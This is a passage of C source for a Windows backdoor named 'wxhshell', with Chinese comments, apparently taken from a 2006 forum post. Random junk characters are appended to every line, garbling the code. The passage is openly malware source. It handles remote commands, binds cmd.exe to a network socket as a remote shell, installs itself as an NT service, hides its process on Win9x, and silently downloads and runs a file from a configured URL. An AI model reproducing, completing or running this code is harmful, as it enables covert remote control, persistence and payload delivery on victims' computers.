      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -TZ p FT"  
    break; 8UkKU_Uso  
  } L>Mpi$L  
  // 安装 l6kmS  
  case 'i': { m4:^}O-#  
    if(Install()) GjB]KA^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B4XZko(  
    else J1XL<7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5b/ojr7  
    break; H[b}kZW:a  
    } ""svDfy$  
  // 卸载 +PK6-c\r  
  case 'r': { MuBx#M/  
    if(Uninstall()) {7Mj P+\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5( _6+'0  
    else iBudmT8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B cj/y4"  
    break; h3gWOU  
    } bw&myzs  
  // 显示 wxhshell 所在路径 t4K~cK  
  case 'p': { U1_&gy @y  
    char svExeFile[MAX_PATH]; Gs2p5nL<  
    strcpy(svExeFile,"\n\r"); $mGvJ*9  
      strcat(svExeFile,ExeFile); vVT?h  
        send(wsh,svExeFile,strlen(svExeFile),0); -=698h*  
    break; 7< 9L?F2  
    } [@fz1{*  
  // 重启 _GqS&JHSf  
  case 'b': { ESb ]}c:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TCvSc\Q[:1  
    if(Boot(REBOOT)) XN,,cU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IF*&%pB  
    else { Q+i\8RJ  
    closesocket(wsh); Ri>?KrQF%  
    ExitThread(0); N~ANjn/wL  
    } K t#,]]  
    break; *R % wUi  
    } Mp\<cE  
  // 关机 f c6g  
  case 'd': { r+<{S\ Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8Z85D  
    if(Boot(SHUTDOWN)) j;K#]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3kmeD".  
    else { q;AT>" =)  
    closesocket(wsh); TJ6#P<M  
    ExitThread(0); pJ, @Y>  
    } #G3N(wV3  
    break; oQ+61!5>  
    } I_ "Z:v{  
  // 获取shell lu UYo  
  case 's': { gdj^df+2F  
    CmdShell(wsh); &~5=K  
    closesocket(wsh); 9>,Qgp,w  
    ExitThread(0); GO5~!g  
    break; 6xgv:,  
  } >Cd9fJ&0gP  
  // 退出 iz}sM>^  
  case 'x': { POU}/e!Ua  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nq`q[KV:  
    CloseIt(wsh); 7y*ZXT]f  
    break; \+qOO65/+  
    } F@YV]u>N  
  // 离开 qg,Nb  
  case 'q': { J.M.L$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &:?e&  
    closesocket(wsh); g{pQ4jKF  
    WSACleanup(); :X .,  
    exit(1); ]"x\=A  
    break; )wf\F6jN  
        } {`.O|_b  
  } 9Yw]Y5l  
  } -4L!k'uR  
m=&j@  
  // 提示信息 ,9/5T:2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "zV']A>4H  
} K%,$ V,#  
  } m7 XjP2   
f?0s &Xo  
  return; &`:rp!Lc  
} aMCO"66b  
Mz|L-62  
// shell模块句柄 Ob&W_D^=N  
int CmdShell(SOCKET sock) h-'wV${b  
{ UxPGv;F  
STARTUPINFO si; jL4>A$  
ZeroMemory(&si,sizeof(si)); Xm[Czd]%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZzL@[g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lIDl1Z@Z  
PROCESS_INFORMATION ProcessInfo; $j`<SxJ>  
char cmdline[]="cmd"; 29O]S8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r>3^kL5UI  
  return 0; M]ap:  
} o8D{dS>,PL  
Gc5VQ^]  
// 自身启动模式 ;nf&c;D  
int StartFromService(void) ]%XK)[:5_=  
{ $HRed|*.C  
typedef struct +2O=s<fp  
{ 6:RMU  
  DWORD ExitStatus; i/: 5jI|  
  DWORD PebBaseAddress; DNho%Xk  
  DWORD AffinityMask; {"4<To]z  
  DWORD BasePriority; 6e:P.HqjA  
  ULONG UniqueProcessId; -h9#G{2W[  
  ULONG InheritedFromUniqueProcessId; 6<76O~hNZ  
}   PROCESS_BASIC_INFORMATION; >r:X~XnRUj  
pDhY%w#  
PROCNTQSIP NtQueryInformationProcess; xvO 3BU~2  
Mryn>b`cB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; As}eUm)B5c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x)\V lR  
qp1\I$Y  
  HANDLE             hProcess; V(I7*_ZFl  
  PROCESS_BASIC_INFORMATION pbi; gD5P!}s[u0  
9mm2Vps;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GRQ_+K  
  if(NULL == hInst ) return 0; 4[_L=zD  
#'g^Za  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YME[%c2x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~%KM3Vap  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E4i@|jE~)  
Xvq^1Y?  
  if (!NtQueryInformationProcess) return 0; #'c%  
Zr9d&|$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  9^p32G  
  if(!hProcess) return 0; Y^X:vI  
p}f-c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $ {@q?iol  
1M=   
  CloseHandle(hProcess); dWjx"7^  
Gb?g,>C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \{:%v#ZZ  
if(hProcess==NULL) return 0; 44Q9* ."  
{Evcc+E q  
HMODULE hMod; @$EjD3Z-  
char procName[255]; htV#5SUx&  
unsigned long cbNeeded; @kz!{g]Sn  
=g >.X9lr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fqN75['n  
0s )cVYppe  
  CloseHandle(hProcess); RA} U#D:$i  
8s~\iuk  
if(strstr(procName,"services")) return 1; // 以服务启动 y&y/cML?  
_/ct=  
  return 0; // 注册表启动 qP&byEs"  
} rAM *\=  
Yg[ v/[]  
// 主模块 Ri; =aZ5m  
int StartWxhshell(LPSTR lpCmdLine) epn#qeX  
{ {s,^b|I2#U  
  SOCKET wsl; _O"L1Let  
BOOL val=TRUE; A*a7\id!y  
  int port=0; W=UqX{-j)  
  struct sockaddr_in door; QH4k!^  
{>wI8  
  if(wscfg.ws_autoins) Install(); T<f2\q8Uo=  
R!@|6=]iG  
port=atoi(lpCmdLine); r}ZLf  
/8=:qIJYA  
if(port<=0) port=wscfg.ws_port; Mm "Wk  
l6V%"Lo/)  
  WSADATA data; P87ld._  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TH<fbd  
4sb )^3T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r@olC7&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V_Xy2<V  
  door.sin_family = AF_INET; $4DFgvy$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XpR.rq$]  
  door.sin_port = htons(port); VPWxHVf  
tp#Z@5=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^I@ey*$  
closesocket(wsl); 1po"gVot  
return 1; ]vRVo6@ k  
} C5>{Q:.`e'  
5woIGO3X  
  if(listen(wsl,2) == INVALID_SOCKET) { D}mo\  
closesocket(wsl); r4 9UJE  
return 1; :-$cdZ3E  
} Uc\|X;nkRk  
  Wxhshell(wsl); `oB'(  
  WSACleanup(); |VTWw<{LX  
8rGl&  
return 0; }Vs~RJM)}  
J'|=*#  
} }/_('q@s\  
Z"l`e0 {  
// 以NT服务方式启动 I h5/=_n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P=f<#l"v  
{ |}M~ kJ)  
DWORD   status = 0; 7J0 ^N7"o  
  DWORD   specificError = 0xfffffff; -$AjD?;   
'u4}t5Bu5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u86J.K1Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gcX5Q^`a=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;[?J5X,  
  serviceStatus.dwWin32ExitCode     = 0; t9-_a5>E\}  
  serviceStatus.dwServiceSpecificExitCode = 0; '}wG"0  
  serviceStatus.dwCheckPoint       = 0; cFRSd }p=  
  serviceStatus.dwWaitHint       = 0; M /n[&  
tfi2y]{A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p5lR-G  
  if (hServiceStatusHandle==0) return; @).WIs  
M3hy5 j(b  
status = GetLastError(); VFe-#"0ZO  
  if (status!=NO_ERROR) #gxRTx  
{ ,$hQ(yF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fMWXo)rzj  
    serviceStatus.dwCheckPoint       = 0; W)6U6  
    serviceStatus.dwWaitHint       = 0; (Q}PeKM?jq  
    serviceStatus.dwWin32ExitCode     = status; Iu=pk@*O  
    serviceStatus.dwServiceSpecificExitCode = specificError; d_4n0Kh0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e1f^:C  
    return; 2jI4V;H8g  
  } 27h/6i3  
;cS~d(%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oN1!>S9m  
  serviceStatus.dwCheckPoint       = 0; J,dG4.ht  
  serviceStatus.dwWaitHint       = 0; K9x*Sep  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w3>Y7vxiz`  
} S&4w`hdD>~  
/u" cl2|  
// 处理NT服务事件,比如:启动、停止 -~rr<D\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9m<X-B&P  
{ J@u!S~&r  
switch(fdwControl) Q%gY.n{=  
{ z1}tC\9'%  
case SERVICE_CONTROL_STOP: b&U5VA0=1  
  serviceStatus.dwWin32ExitCode = 0; [)b/uR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D{&+7C:8.  
  serviceStatus.dwCheckPoint   = 0; Gaw,1Ow!`2  
  serviceStatus.dwWaitHint     = 0; ByB0>G''.  
  { <.y^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o'= [<  
  } PBP J/puW  
  return; "6[Ax{cM  
case SERVICE_CONTROL_PAUSE: tZJ 9}\r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1*x5/b  
  break; E| 8s2t  
case SERVICE_CONTROL_CONTINUE: 5sf fDEU]A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eAenkUBz6,  
  break; egIS rmL+X  
case SERVICE_CONTROL_INTERROGATE: ]UpHD.Of[t  
  break; RmCn&-i  
}; v J,xz*rc`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G`3vH,  
} q4IjCu+  
-*]9Ma<wa  
// 标准应用程序主函数 Y GcY2p<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .+ yJh  
{ sN[@mAoH  
9g^./k\8%  
// 获取操作系统版本 bj* v'  
OsIsNt=GetOsVer(); ,2:L{8_L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZP G8q  
!Vod0j">  
  // 从命令行安装 !Z9ikn4A  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1J!tcj1(  
>f9]Nj  
  // 下载执行文件 c9_4 ohB  
if(wscfg.ws_downexe) { h.+,*9T\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /[)P^L`  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q:xI} ]FM  
} CBgFB-!qpe  
,~68~_)  
if(!OsIsNt) { $K>d\{@+7  
// 如果时win9x,隐藏进程并且设置为注册表启动 d'eM(4R@  
HideProc(); m`4j|5  
StartWxhshell(lpCmdLine); HpgN$$\@  
} W} +6L|  
else ywa.cq  
  if(StartFromService()) JeSkNs|vB  
  // 以服务方式启动 >!ZyykAs  
  StartServiceCtrlDispatcher(DispatchTable); ;{)@ghD  
else 'kONb  
  // 普通方式启动 vXWESy  
  StartWxhshell(lpCmdLine); h"%,eW|^  
:ftyNaq'  
return 0; J,2v~Dq  
}
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只看该作者 1 发表于: 2006-10-10
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